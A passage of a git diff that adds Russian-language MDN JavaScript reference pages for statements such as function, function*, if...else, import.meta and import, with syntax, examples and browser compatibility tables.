+console.log(sum); // logs "26", which is 5+13+8</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Not part of a current ECMA-262 specification. Implemented in JavaScript 1.6 and deprecated.</p>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox_specific_note">Firefox specific note</h2>
+
+<ul>
+ <li><code>for each...in</code> удалён только из Nightly Firefox 53</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> - аналогичный оператор по перебору <em>имён</em> свойств.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> - аналогичный оператор, перебирающий <em>значения</em> свойств, но может быть использован только для перебираемых (iteratable) типов, so not for generic objects</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Statements/for">for</a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/function/index.html b/files/ru/web/javascript/reference/statements/function/index.html
new file mode 100644
index 0000000000..37ccac9a29
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/function/index.html
@@ -0,0 +1,125 @@
+---
+title: function
+slug: Web/JavaScript/Reference/Statements/function
+tags:
+  - JavaScript
+  - Функция
+translation_of: Web/JavaScript/Reference/Statements/function
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>Объявление функции</strong> определяет функцию с указанными аргументами.</p>
+
+<p>Также вы можете определять функции через конструктор {{jsxref("Function")}} или {{jsxref("Operators/function", "функциональное выражение")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">function <em>name</em>([<em>param</em>,[, <em>param</em>,[..., <em>param</em>]]]) {
+   [<em>statements</em>]
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя функции.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>Имя аргумента, переданного в функцию. Максимальное количество аргументов, которое может принять функция, может варьироваться в зависимости от движков.</dd>
+ <dt><code>statements</code></dt>
+ <dd>Инструкции, которые составляют тело функции.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Функция, созданная через объявление функции, является объектом <code>Function</code> и обладает всеми свойствами, методами и поведением объектов такого типа. Смотрите {{jsxref("Function")}} для подробной информации о функциях.</p>
+
+<p>Также функцию можно создать с помощью выражения (см. {{jsxref("Operators/function", "функциональное выражение")}}).</p>
+
+<p>По умолчанию функции возвращают <code>undefined</code>. Чтобы вернуть другое значение, функция должна содержать инструкцию {{jsxref("Statements/return", "return")}}, которая указывает, какое значение возвращать.</p>
+
+<h3 id="Функции_создаваемые_по_условию">Функции, создаваемые по условию</h3>
+
+<p>Функции могут объявлены условно, иначе говоря, объявление функции может содержаться внутри условного оператора. Большинство браузеров, отличных от Mozilla, трактуют подобные условные объявления безотносительно условия, и создадут функцию, вне зависимости от истинностного значения условия; смотрите <a href="http://kangax.github.io/nfe/#function-statements">статью</a> об этом. Поэтому такое использование не рекомендуется, для условного создания функций используйте функциональные выражения.</p>
+
+<h3 id="Поднимание_объявленной_функции">Поднимание объявленной функции</h3>
+
+<p>Объявление функции в JavaScript поднимает определение функции. Вы можете использовать функцию до того, как вы её объявили:</p>
+
+<pre class="brush: js">hoisted(); // выводит "foo"
+
+function hoisted() {
+  console.log("foo");
+}
+</pre>
+
+<p>Заметьте, что {{jsxref("Operators/function", "функциональные выражения")}} не поднимаются:</p>
+
+<pre class="brush: js">notHoisted(); // TypeError: notHoisted не является функцией
+
+var notHoisted = function() {
+   console.log("bar");
+};
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_function">Использование <code>function</code></h3>
+
+<p>Следующий код объявляет функцию, возврающую итоговое количество продаж, сложенное из количества продаж продуктов <code>a</code>, <code>b</code> и <code>c</code>.</p>
+
+<pre class="brush: js">function calc_sales(units_a, units_b, units_c) {
+   return units_a*79 + units_b * 129 + units_c * 699;
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-13', 'Function definition')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-13', 'Function definition')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-13', 'Function definition')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("javascript.statements.function")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Functions_and_function_scope", "Функции и область видимости")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Operators/function", "Функциональное выражение")}}</li>
+ <li>{{jsxref("Statements/function*", "Оператор function*")}}</li>
+ <li>{{jsxref("Operators/function*", "Выражение function*")}}</li>
+ <li>{{jsxref("Functions/Arrow_functions", "Стрелочные функции")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/function_star_/index.html b/files/ru/web/javascript/reference/statements/function_star_/index.html
new file mode 100644
index 0000000000..69567963bb
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/function_star_/index.html
@@ -0,0 +1,202 @@
+---
+title: function*
+slug: Web/JavaScript/Reference/Statements/function*
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Итератор
+  - Функция
+  - Экспериментальный
+translation_of: Web/JavaScript/Reference/Statements/function*
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p><code><strong>function*</strong></code> (ключевое слово <code>function</code> со звёздочкой) определяет <em>функцию-генератор</em>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre>function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { <em>statements</em> }
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя функции.</dd>
+ <dt><code>param</code></dt>
+ <dd>Именованные аргументы функции (параметры). Функция-генератор может иметь 255 аргументов.</dd>
+ <dt><code>statements</code></dt>
+ <dd>Инструкции составляющие тело функции.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Генераторы являются функциями с возможностью выхода и последующего входа. Их контекст исполнения (значения переменных) сохраняется при последующих входах.</p>
+
+<p>Когда вызывается функция-генератор, её тело исполняется не сразу; вместо этого возвращается объект-<a href="/ru/docs/Web/JavaScript/Guide/The_Iterator_protocol">итератор</a>. При вызове метода <code>next() </code>итератора тело функции-генератора исполняется до первого встреченного оператора <a href="/ru/docs/Web/JavaScript/Reference/Operators/yield"><code><strong>yield</strong></code></a>, который определяет возвращаемое значение или делегирует дальнейшее выполнение другому генератору при помощи <code><strong>yield*</strong> anotherGenerator()</code>. Метод <code>next()</code> возвращает объект со свойством <code>value</code>, содержащим отданное значение, и свойством <code>done</code>, которое указывает, что генератор уже отдал своё последнее значение. Вызов метода <code>next()</code> с аргументом прекращает выполнение функции-генератора, и заменяет инструкцию yield на которой было приостановлено выполнение  на аргумент переданный в <code>next().</code></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<pre class="brush: js">function* idMaker() {
+  var index = 0;
+  while (index &lt; 3)
+    yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+console.log(gen.next().value); // undefined
+// ...</pre>
+
+<h3 id="Пример_с_yield*">Пример с yield*</h3>
+
+<pre class="brush: js" dir="rtl">function* anotherGenerator(i) {
+  yield i + 1;
+  yield i + 2;
+  yield i + 3;
+}
+
+function* generator(i) {
+  yield i;
+  yield* anotherGenerator(i);
+  yield i + 10;
+}
+
+var gen = generator(10);
+
+console.log(gen.next().value); // 10
+console.log(gen.next().value); // 11
+console.log(gen.next().value); // 12
+console.log(gen.next().value); // 13
+console.log(gen.next().value); // 20</pre>
+
+<h3 id="Передача_аргументов_в_генератор">Передача аргументов в генератор</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span><span class="operator token">*</span> <span class="function token">logGenerator</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="keyword token">yield</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="keyword token">yield</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="keyword token">yield</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">var</span> gen <span class="operator token">=</span> <span class="function token">logGenerator</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// первый вызов next выполняется от начала функции</span>
+<span class="comment token">// и до первого оператора yield</span>
+gen<span class="punctuation token">.</span><span class="function token">next</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+gen<span class="punctuation token">.</span><span class="function token">next</span><span class="punctuation token">(</span><span class="string token">'pretzel'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// pretzel</span>
+gen<span class="punctuation token">.</span><span class="function token">next</span><span class="punctuation token">(</span><span class="string token">'california'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// california</span>
+gen<span class="punctuation token">.</span><span class="function token">next</span><span class="punctuation token">(</span><span class="string token">'mayonnaise'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// mayonnaise</span></code></pre>
+
+<h3 id="Инструкция_return_в_генераторе">Инструкция return в генераторе</h3>
+
+<pre class="brush: js">function* yieldAndReturn() {
+  yield "Y";
+  return "R";
+  yield "unreachable";
+}
+
+var gen = yieldAndReturn()
+console.log(gen.next()); // { value: "Y", done: false }
+console.log(gen.next()); // { value: "R", done: true }
+console.log(gen.next()); // { value: undefined, done: true }</pre>
+
+<h3 id="Генераторы_не_могут_быть_инстанцированы_(not_constructable)">Генераторы не могут быть инстанцированы (not constructable)</h3>
+
+<pre class="brush: js example-bad line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span><span class="operator token">*</span> <span class="function token">f</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span>
+<span class="keyword token">var</span> obj <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">f</span><span class="punctuation token">;</span> <span class="comment token">// throws "TypeError: f is not a constructor"</span></code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td><a href="http://wiki.ecmascript.org/doku.php?id=harmony:generators">Предложение Harmony</a></td>
+   <td>Черновик</td>
+   <td>Начало работы над стандартом.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator-function-definitions', 'Генераторы')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение в стандарте ECMA.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>39</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>yes (when?)</td>
+   <td>{{CompatGeckoMobile("27.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Генераторы_и_итераторы_до_версии_Firefox_26">Генераторы и итераторы до версии Firefox 26</h3>
+
+<p>В старых версиях Firefox была реализована иная версия генераторов. В ней генераторы определялись обычным ключевым словом <code>function</code> (без звёздочки) и имели некоторые другие отличия.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/The_Iterator_protocol">Протокол итераторов</a></li>
+ <li>Оператор <a href="/ru/docs/Web/JavaScript/Reference/Operators/yield">yield</a></li>
+ <li>Оператор <a href="/ru/docs/Web/JavaScript/Reference/Statements/function">function</a></li>
+ <li>Другие ресурсы:
+  <ul>
+   <li>Компилятор <a href="http://facebook.github.io/regenerator/">Regenerator</a> из ES2015 в ES5</li>
+   <li><a href="http://www.youtube.com/watch?v=qbKWsbJ76-s">Forbes Lindesay: Promises and Generators: control flow utopia -- JSConf EU 2013</a></li>
+   <li><a href="http://taskjs.org/">Task.js</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/if...else/index.html b/files/ru/web/javascript/reference/statements/if...else/index.html
new file mode 100644
index 0000000000..1f9d474145
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/if...else/index.html
@@ -0,0 +1,213 @@
+---
+title: if...else
+slug: Web/JavaScript/Reference/Statements/if...else
+tags:
+  - Выражение
+  - Условие
+translation_of: Web/JavaScript/Reference/Statements/if...else
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>Инструкция if</strong> выполняет инструкцию, если указанное условие выполняется (истинно). Если условие не выполняется (ложно), то может быть выполнена другая инструкция.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">if (<em>условие</em>)
+   <em>инструкция1</em>
+[else
+   <em>инструкция2</em>]
+</pre>
+
+<dl>
+ <dt><code>условие</code></dt>
+ <dd><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators">Выражение</a>, которое является либо истинным, либо ложным.</dd>
+</dl>
+
+<dl>
+ <dt><code>инструкция1</code></dt>
+ <dd>Инструкция, выполняемая в случае, если значение <code>"условиe"</code> истинно (<code>true</code>). Может быть любой инструкцией в том числе и вложенным <code>if</code>. Для группировки нескольких инструкций используется блок (<code>{...}</code>), Когда никакого действия не требуется, может использоваться <a href="/ru/docs/Web/JavaScript/Reference/Statements/Empty">пустая</a> инструкция.</dd>
+</dl>
+
+<dl>
+ <dt><code>инструкция2</code></dt>
+ <dd>Инструкция, выполняемая в случае, если значение <code>"условиe"</code> ложно (<code>false</code>). Может быть любой инструкцией, в том числе и вложенным <code>if</code>. Инструкции тоже  можно группировать в блок.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Несколько команд if ... else могут быть вложены для создания условия <code>else if</code>. Обратите внимание, что в JavaScript нет ключевого слова <code>elseif</code> (в одно слово).</p>
+
+<pre class="eval">if (<em>условие1</em>)
+   <em>инструкция1</em>
+else if (<em>условие2</em>)
+   <em>инструкция2</em>
+else if (<em>условие3</em>)
+   <em>инструкция3</em>
+...
+else
+   <em>инструкцияN</em>
+
+</pre>
+
+<p>Чтобы увидеть, как это работает, ниже представлен пример правильного вложения с отступами:</p>
+
+<pre class="eval">if (<em>условие1</em>)
+   <em>инструкция1</em>
+else
+   if (<em>условие2</em>)
+      <em>инструкция2</em>
+   else
+      if (<em>условие3</em>)
+...
+</pre>
+
+<p>Чтобы выполнить несколько инструкций в условии, используйте блочный оператор ({...}) для группирования этих инструкций. В общем, хорошей практикой всегда является использование блочных операторов, особенно в коде, включающем вложенные операторы <code>if</code>:</p>
+
+<pre class="eval">if (<em>условие</em>) {
+   <em>инструкции1</em>
+} else {
+   <em>инструкции2</em>
+}
+</pre>
+
+<p>Не путайте примитивные логические значения <code>true</code> и <code>false</code> с правдивостью или ложностью булева объекта. Любое значение, которое не <code>undefined</code>, <code>null</code>, <code>0</code>, <code>NaN</code> или пустая строка (""), и любой объект, включая объект Boolean, значение которого является ложным, считается правдивым при использовании в качестве условия. Например:</p>
+
+<pre class="brush: js">var b = new Boolean(false);
+if (b) // это условие истинно
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_if...else">Использование <code>if...else</code></h3>
+
+<pre class="brush: js">if (cipher_char === from_char) {
+   result = result + to_char;
+   x++;
+} else {
+   result = result + clear_char;
+}
+</pre>
+
+<h3 id="Использование_else_if">Использование <code>else if</code></h3>
+
+<p>Обратите внимание, что в JavaScript нет синтаксиса <code>elseif</code>. Однако вы можете записать его с пробелом между <code>else</code> и <code>if</code>:</p>
+
+<pre class="brush: js">if (x &gt; 5) {
+
+} else if (x &gt; 50) {
+
+} else {
+
+}</pre>
+
+<h3 id="Присваивание_в_условном_выражении">Присваивание в условном выражении</h3>
+
+<p>Целесообразно не использовать простые присваивания в условном выражении, потому что при взгляде на код присваивание можно путать с равенством. Например, не используйте следующий код:</p>
+
+<pre class="brush: js">if (x = y) {
+   /* сделать что-то */
+}
+</pre>
+
+<p>Если вам нужно использовать присваивание в условном выражении, обычной практикой является размещение дополнительных скобок вокруг присваивания. Например:</p>
+
+<pre class="brush: js">if ((x = y)) {
+   /* сделать что-то */
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-if-statement', 'if statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-if-statement', 'if statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.5', 'if statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.5', 'if statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.5', 'if statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "block")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/import.meta/index.html b/files/ru/web/javascript/reference/statements/import.meta/index.html
new file mode 100644
index 0000000000..ac60a71494
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/import.meta/index.html
@@ -0,0 +1,68 @@
+---
+title: import.meta
+slug: Web/JavaScript/Reference/Statements/import.meta
+tags:
+  - Модули
+translation_of: Web/JavaScript/Reference/Statements/import.meta
+---
+<div>{{JSSidebar("Statements")}}</div>
+
+<p><code style=""><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Объект </span></font><strong>import.meta</strong></code> это мета-свойство, указывающее мета-данные JavaScript модуля в зависимости от контекста. Он содержит информацию о модуле, например, URL модуля.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">import.meta</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Объект <code>import.meta</code> состоит из ключевого слова {{JSxRef("Statements/import","import")}}, точки и свойства с именем <code>meta</code>. Обычно выражение <code>import.</code> служит для доступа к свойству, но здесь <code>import.</code>, в действительности, не является объектом.</p>
+
+<p>Объект <code>import.meta</code> создан по реализации ECMAScript с прототипом объекта {{JSxRef("null")}}. Этот объект расширяем, и его свойства являются записываемыми, настраиваемыми и перечисляемыми.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Допустим, есть модуль <code>my-module.js</code></p>
+
+<pre class="brush: html">&lt;script type="module" src="my-module.js"&gt;&lt;/script&gt;
+</pre>
+
+<p>вы можете получить доступ к мета-информации об этом модуле, используя объект <code>import.meta</code>.</p>
+
+<pre class="brush: js;">console.log(import.meta); // { url: "file:///home/user/my-module.js" }</pre>
+
+<p>Это возвращает объект со свойством <code>url</code> показывающее базовый URL этого модуля. Это может быть либо URL с которого скрипт был получен (для внешних скриптов), либо базовый URL содержащего его документа (для внутренних скриптов).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>Предложен <code><a href="https://github.com/tc39/proposal-import-meta/#importmeta">import.meta</a></code></td>
+   <td>Stage 3</td>
+   <td>Первичное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#hostgetimportmetaproperties", "import.meta")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Определяет свойства <code>import.meta</code> в HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+
+
+<p>{{Compat("javascript.statements.import_meta")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{JSxRef("Statements/import", "import")}}</li>
+ <li>{{JSxRef("Statements/export", "export")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/import/index.html b/files/ru/web/javascript/reference/statements/import/index.html
new file mode 100644
index 0000000000..bc4a369f52
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/import/index.html
@@ -0,0 +1,271 @@
+---
+title: import
+slug: Web/JavaScript/Reference/Statements/import
+tags:
+  - ECMAScript 2015
+  - ECMAScript6
+  - JavaScript
+  - import
+  - Инструкция
+  - Модули
+  - динамический импорт
+  - импорт
+translation_of: Web/JavaScript/Reference/Statements/import
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Инструкция <strong>import</strong> используется для импорта ссылок на значения, экспортированные из внешнего модуля. Импортированные модули находятся в {{JSxRef ("Strict_mode", "строгом режиме")}} независимо от того, объявляете ли вы их как таковые или нет. Для работы инструкции во встроенных скриптах нужно прописать у тэга script <code>type="module"</code>.</p>
+
+<p>Существует также function-like динамический <code>import()</code>, который не требует скриптов с типом "<code>module</code>".</p>
+
+<p>Обратная совместимость может быть обеспечена с помощью атрибута <code>nomodule</code> тега <a href="/ru/docs/Web/HTML/Element/script">script</a>.</p>
+
+<p>Динамический импорт полезен в ситуациях, когда вы хотите загрузить модуль условно или по требованию. Статическая форма предпочтительна для загрузки начальных зависимостей и может быть более полезна для инструментов статического анализа и <a href="/en-US/docs/Glossary/Tree_shaking">tree shaking</a>.</p>
+
+<div class="note">
+<p><strong>Внимание:</strong> На данный момент эта функциональность <a href="https://jakearchibald.com/2017/es-modules-in-browsers/">только начинает поддерживаться</a> браузерами. Полноценная реализация присутствует во многих транспайлерах, таких как TypeScript и <a href="http://babeljs.io/">Babel</a>, а также в сборщиках, например, в <a href="https://github.com/rollup/rollup">Rollup</a> и <a href="https://webpack.js.org/">Webpack</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">import <em>defaultExport</em> from "<em>module-name</em>";
+import * as <em>name</em> from "<em>module-name</em>";
+import { <em>export </em>} from "<em>module-name</em>";
+import { <em>export</em> as <em>alias </em>} from "<em>module-name</em>";
+import { <em>export1 , export2</em> } from "<em>module-name</em>";
+import { <em>export1 , export2</em> as <em>alias2</em> , <em>[…]</em> } from "<em>module-name</em>";
+import <em>defaultExport</em>, { <em>export</em> [ , <em>[…]</em> ] } from "<em>module-name</em>";
+import <em>defaultExport</em>, * as <em>name</em> from "<em>module-name</em>";
+import "<em>module-name</em>";
+import("/module-name.js").then(module =&gt; {…}) // Динамический импорт
+</pre>
+
+<dl>
+ <dt><code>defaultExport</code></dt>
+ <dd>Имя объекта, который будет ссылаться на значение экспорта по умолчанию (дефолтный экспорт) из модуля.</dd>
+ <dt><code>module-name</code></dt>
+ <dd>Имя модуля для импорта. Это зачастую относительный или абсолютный путь к <code>.js</code> файлу модуля без указания расширения <code>.js</code>. Некоторые сборщики могут разрешать или даже требовать использования расширения; проверяйте своё рабочее окружение. Допускаются только строки с одиночными или двойными кавычками.</dd>
+ <dt><code>name</code></dt>
+ <dd>Имя локального обьекта, который будет использован как своего рода пространство имен, ссылающееся на импортируемые значения.</dd>
+</dl>
+
+<dl>
+ <dt><code>export, exportN</code></dt>
+ <dd>Имена значений, которые будут импортированы.</dd>
+</dl>
+
+<dl>
+ <dt><code>alias, aliasN</code></dt>
+ <dd>Имена, которые будут ссылаться на импортируемые значения.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Параметр <code>name</code> это имя локального обьекта, который будет использован как своего рода пространство имен, ссылающееся на импортируемые значения. Параметры <code>export</code> определяют отдельные именованные значения, в то время как <code>import * as name</code> импортирует все значения. Примеры ниже объясняют синтаксис.</p>
+
+<h3 id="Импорт_всего_содержимого_модуля">Импорт всего содержимого модуля</h3>
+
+<p>Этот код вставляет объект <code>myModule</code> в текущую область видимости, содержащую все экспортированные значения из модуля, находящегося в файле <code>/modules/my-module.js</code>.</p>
+
+<pre class="brush: js">import * as <em>myModule</em> from '/modules/my-module.js';</pre>
+
+<p>В данном случае, доступ к импортируемым значениям можно осуществить с использованием имени модуля (в данном случае "myModule") в качестве пространства имен. Например, если импортируемый выше модуль включает в себя экспорт метода <code>doAllTheAmazingThings()</code>, вы можете вызвать его так:</p>
+
